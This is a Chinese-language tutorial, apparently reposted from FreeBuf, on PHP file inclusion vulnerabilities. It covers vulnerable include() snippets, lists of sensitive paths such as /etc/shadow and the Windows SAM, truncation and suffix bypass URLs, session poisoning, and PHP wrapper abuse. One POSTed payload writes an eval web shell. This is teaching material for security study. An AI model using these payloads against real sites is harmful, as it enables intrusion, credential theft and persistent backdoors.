文件包含漏洞(完整版)

article/2025/8/5 13:39:24

*本文作者:山东安云,转载来自FreeBuf.COM

0×01 文件包含简介

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。

文件包含函数

PHP中文件包含函数有以下四种:

require()

require_once()

include()

include_once()

includerequire区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。

include_once()require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

漏洞产生原因

文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

示例代码

 

<?php$filename  = $_GET['filename'];include($filename);
?>

 

例如:

$_GET['filename']参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET['filename']的值,执行非预期的操作。

0×02 本地文件包含漏洞

无限制本地文件包含漏洞

测试代码:

 

<?php$filename  = $_GET['filename'];include($filename);
?>

 

测试结果:

通过目录遍历漏洞可以获取到系统中其他文件的内容:

测试结果

常见的敏感信息路径:

Windows系统

c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息

Linux/Unix系统

/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

session文件包含漏洞

利用条件:

session的存储位置可以获取。

1. 通过phpinfo的信息可以获取到session的存储位置。

通过phpinfo的信息,获取到session.save_path为/var/lib/php/session:

获取到session的存储位置

2. 通过猜测默认的session存放位置进行尝试。

如linux下默认存储在/var/lib/php/session目录下:

默认存储

session中的内容可以被控制,传入恶意代码。

示例:

 

 

<?php

session_start();

$ctfs=$_GET['ctfs'];

$_SESSION["username"]=$ctfs;

?>

 

漏洞分析

此php会将获取到的GET型ctfs变量的值存入到session中。

当访问http://www.ctfs-wiki/session.php?ctfs=ctfs 后,会在/var/lib/php/session目录下存储session的值。

session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取。

通过开发者模式获取

所以session的文件名为sess_akp79gfiedh13ho11i6f3sm6s6。

到服务器的/var/lib/php/session目录下查看果然存在此文件,内容为:

 

 

username|s:4:"ctfs";

[root@c21336db44d2 session]# cat sess_akp79gfiedh13ho11i6f3sm6s6

username|s:4:"ctfs"

 

漏洞利用

通过上面的分析,可以知道ctfs传入的值会存储到session文件中,如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell。

当访问http://www.ctfs-wiki/session.php?ctfs=<?php phpinfo();?>后,会在/var/lib/php/session目录下存储session的值。

 

 

[root@6da845537b27 session]# cat sess_83317220159fc31cd7023422f64bea1a

username|s:18:"<?php phpinfo();?>";

 

攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码getshell。

解析恶意代码getshell

有限制本地文件包含漏洞绕过

%00截断

条件:magic_quotes_gpc = Off php版本<5.3.4

测试代码:

<?php$filename  = $_GET['filename'];include($filename . ".html");
?>

测试结果:

http://www.ctfs-wiki.com/FI/FI.php?filename=../../../../../../../boot.ini%00

测试结果

路径长度截断

条件:windows OS,点号需要长于256;linux OS 长于4096

Windows下目录最大长度为256字节,超出的部分会被丢弃;

Linux下目录最大长度为4096字节,超出的部分会被丢弃。

测试代码:

<?php$filename  = $_GET['filename'];include($filename . ".html");
?>

EXP:

http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

测试结果

点号截断

条件:windows OS,点号需要长于256

测试代码:

<?php$filename  = $_GET['filename'];include($filename . ".html");
?>

EXP:

http://www.ctfs-wiki.com/FI/FI.php
?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

测试结果

0×03 远程文件包含漏洞

PHP的配置文件allow_url_fopen和allow_url_include设置为ON,include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。

allow_url_fopen = On(是否允许打开远程文件)

allow_url_include = On(是否允许include/require远程文件)

无限制远程文件包含漏洞

测试代码:

<?php$filename  = $_GET['filename'];include($filename);
?>

测试代码

通过远程文件包含漏洞,包含php.txt可以解析。

http://www.ctfs-wiki.com/FI/FI.php?filename=http://192.168.91.133/FI/php.txt

测试结果:

测试结果

有限制远程文件包含漏洞绕过

测试代码:

<?php include($_GET['filename'] . ".html"); ?>

代码中多添加了html后缀,导致远程包含的文件也会多一个html后缀。

测试代码

问号绕过

http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt?

问号绕过

#号绕过

http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%23

#号绕过

还有哪些可以绕过?用burp跑一遍发现空格也可以绕过:

空格绕过

http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%20

空格绕过

0×04 PHP伪协议

PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。

目录

目录

php:// 输入输出流

PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

php://filter(本地磁盘文件进行读取)

元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。

用法:?filename=php://filter/convert.base64-encode/resource=xxx.php ?filename=php://filter/read=convert.base64-encode/resource=xxx.php 一样。

条件:只是读取,需要开启 allow_url_fopen,不需要开启 allow_url_include;

条件

测试代码:

<?php$filename  = $_GET['filename'];include($filename);
?>

测试代码

php://input

可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。 enctype=”multipart/form-data” 的时候 php://input 是无效的。

用法:?file=php://input 数据利用POST传过去。

php://input (读取POST数据)

碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据,具体函数意义下一项;

测试代码:

<?phpecho file_get_contents("php://input");
?>

测试结果:

测试结果

php://input(写入木马)

测试代码:

<?php$filename  = $_GET['filename'];include($filename);
?>

条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.3.0),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行。

如果POST的数据是执行写入一句话木马的PHP代码,就会在当前目录下写入一个木马。

<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

在当前目录下写入一个木马

测试结果:

测试结果

如果不开启allow_url_include会报错:报错信息

php://input(命令执行)

测试代码:

<?php$filename  = $_GET['filename'];include($filename);
?>

条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.30),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行;

POST过去PHP代码如果不开启allow_url_include会报错:

报错信息

file://伪协议 (读取文件内容)

通过file协议可以访问本地文件系统,读取到文件的内容

测试代码:

<?php$filename  = $_GET['filename'];include($filename);
?>

测试代码

data://伪协议

数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的; data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4

data://(读取文件)

和php伪协议的input类似,碰到file_get_contents()来用; <?php // 打印 “I love PHP” echo file_get_contents(‘data://text/plain;base64,SSBsb3ZlIFBIUAo=’); ?>

注意:<span style="color: rgb(121, 121, 121);"><?php phpinfo();,这类执行代码最后没有?></span>闭合;

如果php.ini里的allow_url_include=On(PHP < 5.3.0),就可以造成任意代码执行,同理在这就可以理解成远程文件包含漏洞(RFI) 测试代码:

<?php$filename  = $_GET['filename'];include($filename);
?>

测试结果

phar://伪协议

这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压。

用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。 步骤: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,然后将后缀改为png等其他格式。 

测试代码:

<?php$filename  = $_GET['filename'];include($filename);
?>

测试结果

zip://伪协议

zip伪协议和phar协议类似,但是用法不一样。

用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php。

条件: PHP > =5.3.0,注意在windows下测试要5.3.0<PHP<5.4 才可以 #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。

测试代码:

<?php$filename  = $_GET['filename'];include($filename);
?>

测试结果


http://chatgpt.dhexx.cn/article/ooatybRB.shtml

相关文章

【文件包含漏洞】——文件包含漏洞防御

文章目录 一、实验目的&#xff1a;二、实验环境&#xff1a;三、防御说明&#xff1a;四、防御措施&#xff1a;1. 设置白名单&#xff1a;2. 过滤危险字符&#xff1a;3. 设置文件目录(配置php.ini)&#xff1a;4. 关闭危险配置(配置php.ini)&#xff1a; 五、防御总结&a…

文件包含漏洞-日志注入

文件目录 文件包含漏洞文件包含概述文件包含类型 文件包含-日志注入日志注入概述环境准备配置环境模拟网站环境 日志注入流程 文件包含漏洞 文件包含概述 文件包含漏洞是 Web 应用程序中的一种常见漏洞。当应用程序允许用户控制包含在页面上的文件时&#xff0c;攻击者就可以利…

【异常】BOOT-INF/lib/目录下文件被扫出有漏洞,应该怎么修复?

一、背景说明 客户使用的是阿里云的云服务&#xff0c;阿里云上面的渗透测试扫描会定期对运行在上面的云服务进行漏洞检查&#xff0c;因此没有几轮的漏扫是不会放过你了额。 这次收到了如下的内容 ContainerName:commonprovider, ImageName:commonprovider:V0.2.12_Server_…

自动化批量挖漏洞(edu)

自动化批量挖漏洞 原理是将目标资产让爬虫工具爬取&#xff0c;把数据通过burp发送给xray进行漏洞扫描。 本文使用到的工具 Fofa采集工具&#xff0c;文章用edu举例&#xff0c;大家可以根据自己的目标进行选择。Rad&#xff0c;浏览器爬取工具&#xff0c;github地址: http…

文件包含漏洞总结及工具分享

PHP文件包含漏洞检测利用总结及神器字典工具分享 漏洞原理 像PHP、JSP、ASP、.NET等脚本语言&#xff0c;都提供了一种包含文件的功能&#xff0c;通过这种方式可以达到复用代码的目的。如果包含的文件路径可控&#xff0c;那么就可能存在文件包含漏洞&#xff0c;攻击者可通…

漏洞修复-- Linux kernel 资源管理错误漏洞(CVE-2022-32250)

1. 漏洞描述: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 Linux kernel 5.18.1版本及之前版本存在安全漏洞&#xff0c;该漏洞源于net/netfilter/nf_tables_api.c允许本地用户将权限升级为root用户&#xff0c;攻击者利用该漏洞可导致释放后重用。 2. …

【文件包含漏洞-03】文件包含漏洞的利用及如何利用本地文件包含漏洞GetShell

文件包含漏洞的利用 读取敏感文件 我们可以利用文件包含漏洞读取任意文件&#xff0c;读取文件的时候有利用条件 目标主机文件存在(目标文件的路径、绝对路径、相对路径) 具有文件可读权限 提交参数http://localhost/include/include.php?pathC:\windows\system32\drivers\etc…

渗透测试-文件包含漏洞

文件包含漏洞 文章目录 文件包含漏洞前言一、什么是文件包含漏洞二、文件包含漏洞获取shell1.文件包含漏洞的分类2.利用漏洞获取shell 总结 前言 一、什么是文件包含漏洞 服务器通过php的特性&#xff08;函数&#xff09;去包含任意文件时&#xff0c;由于要包含的这个文件来…

Fvuln-自动化web漏洞检测工具

F-vuln介绍: F-vuln&#xff08;全称&#xff1a;Find-Vulnerability&#xff09;是为了自己工作方便专门编写的一款自动化工具&#xff0c;主要适用于日常安全服务、渗透测试人员和RedTeam红队人员&#xff0c;它集合的功能包括&#xff1a;存活IP探测、开放端口探测、web服务…

Log4j2 漏洞检测工具清单

距离Log4j2漏洞公开已经过去一个月了,它所造成的严重影响已经不需要我们重复提及了。随着时间的推移,新的漏洞会不断出现,旧的漏洞会不断消失,而这个Log4j2中的RCE漏洞可能需要好几年的时间才能得到解决。所以,在接下来的一段时间里,这个漏洞依然是我们需要去关注的重点。…

文件包含漏洞——配合日志文件

此实验中用的是phpstudy2018 靶机IP地址&#xff1a;192.168.212.131 一、前提条件 phpstudy中日志功能默认关闭&#xff0c;得手动修改配置文件开启apache日志功能 重启phpstudy&#xff0c;访问日志文件存在 二、文件包含漏洞测试 第一步&#xff1a;输入<?php php…

【文件包含漏洞】

目录 一、前言 二、文件包含漏洞原理 三、利用条件 四、文件包含漏洞利用 实验一&#xff1a;本地包含和远程包含 实验二&#xff1a;利用文件包含漏洞读取Windows系统敏感信息 实验三&#xff1a;本地包含配合文件上传木马图片 实验四&#xff1a;包含apache日志文…

开源组件漏洞检查工具实践分析

文章目录 Murphysec开源组件漏洞检查工具介绍检测原理JetBrains IDE插件MurphySec Code Scan工具使用介绍支持功能插件安装插件配置一键扫描一键修复功能实践测试命令行工具CLI MurphySec功能特性整理MurphySec Code Scan工具集成JenkinsGitLab 代码库检测工具每周报告推送情报…

文件包含漏洞

【文件包含】文件包含漏洞知识总结 一、什么是文件包含漏洞&#xff1f; 1、文件包含概述 和SQL注入等攻击方式一样&#xff0c;文件包含漏洞也是一种“注入型漏洞”&#xff0c;其本质就是输入一段用户能够控制的脚本或者代码&#xff0c;并让服务器端执行。 什么叫包含呢…

Vector关于Apache Log4Shell CVE-2021-45105,CVE-2021-45046,CVE-2021-44228 的安全漏洞配合与修复全面详解

Apache Log4j2 是一个基于 Java 的日志记录开源组件。近日&#xff0c;Log4j2 被爆出现安全漏洞&#xff0c;攻击者可以通过向易受攻击的服务器或应用程序发送操纵请求来利用安全漏洞。Vector 德国PREEvison产品团队已经通过官网和客户管理系统及时通知客户&#xff0c;有关PRE…

Linux内核漏洞精准检测如何做?SCA工具不能只在软件层面

摘要&#xff1a;二进制SCA工具要想更好的辅助安全人员实现安全审计、降低漏洞检测的误报率&#xff0c;必须向更细颗粒度的检测维度发展&#xff0c;而不仅仅停留在开源软件的层面&#xff0c;同时对漏洞库的要求也需要向细颗粒度的精准信息提出的挑战。 本文分享自华为云社区…

kali linux渗透测试之漏洞扫描

主题内容就是进行漏洞扫描 文章目录 前言一、Nikto1.Nikto漏洞扫描介绍2.Nikto使用 二、Nessus1.Nessus介绍2.安装nessus3.nessus的简单使用3.nessus扫描之advanced scan 三、 skipfish扫描工具1.介绍2.skipfish的使用3.批量处理4.使用字典5.命令选项6.打开文件 四、 AWVS漏洞扫…

【CVE-2022-0185】Linux kernel [文件系统挂载API] 堆溢出漏洞分析与利用

0x00.一切开始之前 CVE-2022-0185 是 2022 年初爆出来的一个位于 filesystem context 系统中的 fsconfig 系统调用中的一个堆溢出漏洞&#xff0c;对于有着 CAP_SYS_ADMIN 权限&#xff08;或是开启了 unprivileged namespace&#xff09;的攻击者而言其可以利用该漏洞完成本地…

Spring 新版本修复远程命令执行漏洞(CVE-2022-22965),墨菲安全开源工具可应急排查

漏洞简述 3月31日&#xff0c;spring 官方通报了 Spring 相关框架存在远程代码执行漏洞&#xff0c;并在 5.3.18 和 5.2.20.RELEASE 中修复了该漏洞。 漏洞评级&#xff1a;严重 影响组件&#xff1a;org.springframework:spring-beans 影响版本&#xff1a;< 5.3.18 和…

❤️❤️爆肝3万字整理小白入门与提升分布式版本管理软件:Git,图文并茂(建议收藏)❤️❤️

小白快速快入门Git 什么是GitSVN VS Git什么是版本控制安装Git谁在操作&#xff1f;Git本地仓库本地仓库构造重点 Git常用基本操作git addgit commitgit diffgit loggit resetgit mvcheckoutgit tagclear Github使用教程什么是Github安装Github添加远程仓库找到key打开Github官…